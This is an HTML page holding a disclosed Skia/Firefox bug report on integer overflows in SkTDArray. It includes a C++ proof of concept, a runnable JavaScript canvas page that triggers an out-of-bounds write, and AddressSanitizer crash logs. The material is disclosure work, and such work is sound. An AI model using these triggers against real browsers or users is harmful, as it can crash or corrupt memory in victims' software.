<!--
Skia bug report: https://bugs.chromium.org/p/skia/issues/detail?id=7674
Mozilla bug report: https://bugzilla.mozilla.org/show_bug.cgi?id=1441941
In Skia, SkTDArray stores length (fCount) and capacity (fReserve) as 32-bit ints and does not perform any integer overflow checks. There are a couple of places where an integer overflow could occur:
(1) https://cs.chromium.org/chromium/src/third_party/skia/include/private/SkTDArray.h?rcl=a93a14a99816d25b773f0b12868143702baf44bf&l=369
(2) https://cs.chromium.org/chromium/src/third_party/skia/include/private/SkTDArray.h?rcl=a93a14a99816d25b773f0b12868143702baf44bf&l=382
(3) https://cs.chromium.org/chromium/src/third_party/skia/include/private/SkTDArray.h?rcl=a93a14a99816d25b773f0b12868143702baf44bf&l=383
and possibly others
In addition, on 32-bit systems, multiplication integer overflows could occur in several places where expressions such as
fReserve * sizeof(T)
sizeof(T) * count
etc. are used.
An integer overflow in (2) above is especially dangerous as it will cause too little memory to be allocated to hold the array which will cause a out-of-bounds write when e.g. appending an element.
I have successfully demonstrated the issue by causing an overflow in fPts array in SkPathMeasure (https://cs.chromium.org/chromium/src/third_party/skia/include/core/SkPathMeasure.h?l=104&rcl=23d97760248300b7aec213a36f8b0485857240b5) which is used when rendering dashed paths.
The PoC requires a lot of memory (My estimate is 16+1 GB for storing the path, additional 16GB for the SkTDArray we are corrupting), however there might be less demanding paths for triggering SkTDArray integer overflows.
PoC program for Skia
=================================================================
int main (int argc, char * const argv[]) {
SkBitmap bitmap;
bitmap.allocN32Pixels(500, 500);
//Create Canvas
SkCanvas canvas(bitmap);
SkPaint p;
p.setAntiAlias(false);
float intervals[] = { 0, 10e9f };
p.setStyle(SkPaint::kStroke_Style);
p.setPathEffect(SkDashPathEffect::Make(intervals, SK_ARRAY_COUNT(intervals), 0));
SkPath path;
unsigned quadraticarr[] = {13, 68, 258, 1053, 1323, 2608, 10018, 15668, 59838, 557493, 696873, 871098, 4153813, 15845608, 48357008, 118059138, 288230353, 360287948, 562949933, 703687423, 1099511613, 0};
path.moveTo(0, 0);
unsigned numpoints = 1;
unsigned i = 1;
unsigned qaindex = 0;
while(numpoints < 2147483647) {
if(numpoints == quadraticarr[qaindex]) {
path.quadTo(i, 0, i, 0);
qaindex++;
numpoints += 2;
} else {
path.lineTo(i, 0);
numpoints += 1;
}
i++;
if(i == 1000000) {
path.moveTo(0, 0);
numpoints += 1;
i = 1;
}
}
printf("done building path\n");
canvas.drawPath(path, p);
return 0;
}
=================================================================
ASan output:
ASAN:DEADLYSIGNAL
=================================================================
==39779==ERROR: AddressSanitizer: SEGV on unknown address 0x7fefc321c7d8 (pc 0x7ff2dac9cf66 bp 0x7ffcb5a46540 sp 0x7ffcb5a45cc8 T0)
The issue can also be triggered via the web in Mozilla Firefox
PoC for Mozilla Firefox on Linux (I used Firefox ASan build from https://developer.mozilla.org/en-US/docs/Mozilla/Testing/Firefox_and_Address_Sanitizer)
=================================================================
-->
<canvas id="canvas" width="64" height="64"></canvas>
<br>
<button onclick="go()">go</button>
<script>
var canvas = document.getElementById("canvas");
var ctx = canvas.getContext("2d");
function go() {
ctx.beginPath();
ctx.mozImageSmoothingEnabled = false;
ctx.webkitImageSmoothingEnabled = false;
ctx.msImageSmoothingEnabled = false;
ctx.imageSmoothingEnabled = false;
linedasharr = [0, 1e+37];
ctx.setLineDash(linedasharr);
quadraticarr = [13, 68, 258, 1053, 1323, 2608, 10018, 15668, 59838, 557493, 696873, 871098, 4153813, 15845608, 48357008, 118059138, 288230353, 360287948, 562949933, 703687423, 1099511613];
ctx.moveTo(0, 0);
numpoints = 1;
i = 1;
qaindex = 0;
while(numpoints < 2147483647) {
if(numpoints == quadraticarr[qaindex]) {
ctx.quadraticCurveTo(i, 0, i, 0);
qaindex++;
numpoints += 2;
} else {
ctx.lineTo(i, 0);
numpoints += 1;
}
i++;
if(i == 1000000) {
ctx.moveTo(0, 0);
numpoints += 1;
i = 1;
}
}
alert("done building path");
ctx.stroke();
alert("exploit failed");
}
</script>
<!--
=================================================================
ASan output:
AddressSanitizer:DEADLYSIGNAL
=================================================================
==37732==ERROR: AddressSanitizer: SEGV on unknown address 0x7ff86d20e7d8 (pc 0x7ff7c1233701 bp 0x7fffd19dd5f0 sp 0x7fffd19dd420 T0)
==37732==The signal is caused by a WRITE memory access.
-->